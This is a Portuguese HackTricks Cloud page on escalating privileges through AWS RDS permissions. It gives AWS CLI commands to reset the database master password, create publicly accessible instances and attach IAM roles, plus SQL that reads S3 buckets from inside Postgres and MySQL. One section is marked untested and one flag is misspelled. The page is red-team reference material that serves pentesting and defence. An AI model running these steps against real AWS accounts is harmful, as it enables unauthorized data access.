AWS - RDS Privesc
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
RDS - Serviço de Banco de Dados Relacional
Para mais informações sobre RDS, consulte:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Com essa permissão, um atacante pode modificar a senha do usuário mestre, e o login dentro do banco de dados:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
warning
Você precisará ser capaz de contatar o banco de dados (eles geralmente são acessíveis apenas de redes internas).
Impacto Potencial: Encontrar informações sensíveis dentro dos bancos de dados.
rds-db:connect
De acordo com os docs, um usuário com essa permissão poderia se conectar à instância do DB.
Abusar das permissões do papel IAM do RDS
Postgresql (Aurora)
tip
Se ao executar SELECT datname FROM pg_database;
você encontrar um banco de dados chamado rdsadmin
, você sabe que está dentro de um banco de dados postgresql da AWS.
Primeiro, você pode verificar se esse banco de dados foi usado para acessar algum outro serviço da AWS. Você pode verificar isso observando as extensões instaladas:
SELECT * FROM pg_extension;
Se você encontrar algo como aws_s3
, pode assumir que este banco de dados tem algum tipo de acesso ao S3 (existem outras extensões como aws_ml
e aws_lambda
).
Além disso, se você tiver permissões para executar aws rds describe-db-clusters
, pode ver lá se o cluster tem algum IAM Role associado no campo AssociatedRoles
. Se houver, você pode assumir que o banco de dados foi preparado para acessar outros serviços da AWS. Com base no nome da função (ou se você puder obter as permissões da função), você poderia adivinhar que acesso extra o banco de dados possui.
Agora, para ler um arquivo dentro de um bucket, você precisa saber o caminho completo. Você pode lê-lo com:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Se você tivesse credenciais brutas da AWS, também poderia usá-las para acessar dados do S3 com:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
note
Postgresql não precisa mudar nenhuma variável do grupo de parâmetros para poder acessar o S3.
Mysql (Aurora)
tip
Dentro de um mysql, se você executar a consulta SELECT User, Host FROM mysql.user;
e houver um usuário chamado rdsadmin
, você pode assumir que está dentro de um AWS RDS mysql db.
Dentro do mysql, execute show variables;
e se as variáveis como aws_default_s3_role
, aurora_load_from_s3_role
, aurora_select_into_s3_role
, tiverem valores, você pode assumir que o banco de dados está preparado para acessar dados do S3.
Além disso, se você tiver permissões para executar aws rds describe-db-clusters
, pode verificar se o cluster tem algum papel associado, o que geralmente significa acesso aos serviços da AWS).
Agora, para ler um arquivo dentro de um bucket você precisa saber o caminho completo. Você pode lê-lo com:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster
, iam:PassRole
Um atacante com as permissões rds:AddRoleToDBCluster
e iam:PassRole
pode adicionar um papel especificado a uma instância RDS existente. Isso pode permitir que o atacante acesse dados sensíveis ou modifique os dados dentro da instância.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Impacto Potencial: Acesso a dados sensíveis ou modificações não autorizadas nos dados na instância RDS.
Observe que alguns DBs requerem configurações adicionais, como Mysql, que precisa especificar o ARN da função nos grupos de parâmetros também.
rds:CreateDBInstance
Apenas com essa permissão, um atacante poderia criar uma nova instância dentro de um cluster que já existe e tem uma função IAM anexada. Ele não poderá alterar a senha do usuário mestre, mas pode ser capaz de expor a nova instância de banco de dados à internet:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance
, iam:PassRole
note
TODO: Test
Um atacante com as permissões rds:CreateDBInstance
e iam:PassRole
pode criar uma nova instância RDS com um papel especificado anexado. O atacante pode então potencialmente acessar dados sensíveis ou modificar os dados dentro da instância.
warning
Alguns requisitos do papel/perfil da instância a serem anexados (de aqui):
- O perfil deve existir em sua conta.
- O perfil deve ter um papel IAM que o Amazon EC2 tenha permissões para assumir.
- O nome do perfil da instância e o nome do papel IAM associado devem começar com o prefixo
AWSRDSCustom
.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Impacto Potencial: Acesso a dados sensíveis ou modificações não autorizadas nos dados na instância RDS.
rds:AddRoleToDBInstance
, iam:PassRole
Um atacante com as permissões rds:AddRoleToDBInstance
e iam:PassRole
pode adicionar um papel especificado a uma instância RDS existente. Isso pode permitir que o atacante acesse dados sensíveis ou modifique os dados dentro da instância.
warning
A instância do DB deve estar fora de um cluster para isso
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Impacto Potencial: Acesso a dados sensíveis ou modificações não autorizadas nos dados na instância RDS.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.